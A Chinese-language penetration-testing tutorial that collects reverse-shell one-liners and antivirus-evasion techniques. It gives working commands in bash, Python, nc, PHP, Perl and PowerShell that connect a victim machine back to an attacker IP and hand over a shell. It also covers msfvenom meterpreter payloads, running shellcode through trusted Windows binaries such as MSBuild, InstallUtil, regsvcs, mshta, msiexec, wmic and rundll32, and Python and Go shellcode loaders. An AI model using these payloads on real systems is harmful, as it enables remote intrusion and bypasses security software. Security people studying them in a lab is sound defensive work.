在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。
我们先来讲一下什么是正向连接和反向连接。
那么为什么反向连接会比较常用呢
然后说一下我的实验环境
虚拟机采用nat模式
攻击机:Kali Linux :172.16.1.130
受害机:Centos 7 :172.16.1.134
bash也是最常见的一种方式
Kali监听
centos运行
bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
当然你还可以这样
exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
这两个都是bash根据Linux万物皆文件的思想衍生过来的,具体更多bash的玩法你可以参考
攻击机Kali还是监听
centos执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的 python windows正向连接后门
如果目标机器上有nc并且存在-e
参数,那么可以建立一个反向shell
攻击机监听
目标机器执行
nc 172.16.1.130 4444 -t -e /bin/bash
这样会把目标机的/bin/bash
反弹给攻击机
但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式
攻击机监听
要求目标机器有php然后执行
php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
目标机器执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session
生成payload的方法参考生成msf常用payload,不再赘述
然后msf监听
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 172.16.1.130 set LPORT 4444 set ExitOnSession false exploit -j -z
那么讲到这里我们把一句话反弹shell的方式讲的差不多了,但是到这里我们又涉及到了一个免杀的问题。
我们首先需要知道的是目前的反病毒软件查杀,常见的有三种:
到目前为止,我所知道的免杀姿势有以下几种
而接下来的几种只适用于Windows。
攻击机:Kali Linux :172.16.1.130
受害机:Win 7 :172.16.1.135
白加黑需要的payload可以使用一句话下载姿势总结 把payload下载到目标机器,这里不再赘述。
MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台
MSBuild可在未安装Visual Studio的环境中编译.net的工程文件
MSBuild可编译特定格式的xml文件
更多基本知识可参照以下链接:
意思就是msbuild可以编译执行csharp代码。
在这里我们需要知道的是msbuild的路径
加载32位的shellcode需要用32位的msbuild
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
加载64位的shellcode需要用64位的msbuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
我们这里用64位的shellcode和64位的win7来操作。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task
我们用的是executes x64 shellcode.xml
的模板,把里面45行之后的改为自己的shellcode
然后msf监听
msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 172.16.1.130 set LPORT 4444 set ExitOnSession false set autorunscript migrate -n explorer.exe exploit -j
在目标机器上运行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
然后会话上线,某数字卫士无反应,并且正常执行命令
更多关于msbuild的内容可以参考三好学生师傅的文章
Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。
具体参考:Windows Installer部署)
通过msfvenom生成C#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中
https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260
csc编译InstallUtil-ShellCode.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发
InstallUtil.exe执行 反弹shell
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
参考https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/
regasm和regsvcs都可以用来反弹shell的,而且方式也一样
下载这个cs文件 ,然后替换你的shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
使用sn.exe生成公钥和私钥,如果没有sn命令你可能需要安装vs
编译dll,注意文件的路径
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
用这两者上线
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
或者这样
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
上线成功。
mshta是在环境变量里的
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw > shellcode.bin
cat shellcode.bin |base64 ‐w 0
然后替换这个文件中的shellcode
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta
替换' ---------- DO NOT EDIT BELOW HERE -----------
上面引号包起来的base64,可以将hta托管出来。
mshta.exe http://baidu.com/shellcode.hta
在cobalt strike中mshta也是一个很方便的上线功能。
Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。
Msiexec已经被添加到环境变量了。
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi > shellcode.txt
目标机执行
msiexec.exe /q /i http://172.16.1.130/shellcode.txt
已经被添加到环境变量
poc
wmic os get /FORMAT:"http://example.com/evil.xsl"
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </ms:script> </stylesheet>
参考:利用wmic调用xsl文件的分析与利用
这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
也可以去执行msf生成的dll
rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll
在这我们先简单介绍这几种,还有compiler.exe
odbcconf
psexec
ftp.exe
等等。在这里给出参考连接
micro8前辈 https://micro8.gitbook.io/micro8/contents-1#71-80-ke
在这里也只介绍两种分离免杀的姿势
借助第三方加载器,将shellcode加载到内存中来执行。
https://github.com/clinicallyinane/shellcode_launcher
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c
靶机执行
shellcode_launcher.exe -i test.c
msf监听正常上线
不再赘述,参考上文白加黑
实际上也不能说偏僻语言,原理是让杀软不识别文件的pe头。我们在这说两种
py版的shellcode模板
#! /usr/bin/env python # encoding:utf-8 import ctypes def execute(): # Bind shell shellcode = bytearray( "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29" ... "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56" "\x13" ) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) if __name__ == "__main__": execute()
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o 1.py
使用pyinstaller打包
pyinstaller.py -F --console 1.py
和pyinstaller类似的还有py2exe,不再赘述。
package main import "C" import "unsafe" func main() { buf := "" buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c" ...省略... buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2" // at your call site, you can send the shellcode directly to the C // function by converting it to a pointer of the correct type. shellcode := []byte(buf) C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) }
如果正常编译体积会很大,建议使用go build -ldflags="-s -w"
参数来编译生成exe,你也可以go build -ldflags="-H windowsgui -s -w"
去掉命令窗口
编译出来900多kb,在使用upx压缩一下会降低到200kb左右,也能正常上线。
本文所讲到的很多姿势实际上是用来bypass applocker,不过也能弹回来会话。
实战环境复杂,更多情况下请自行判断该使用什么姿势,实际上有时候你折腾半天不上线还不如直接一个bash反弹回来方便。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。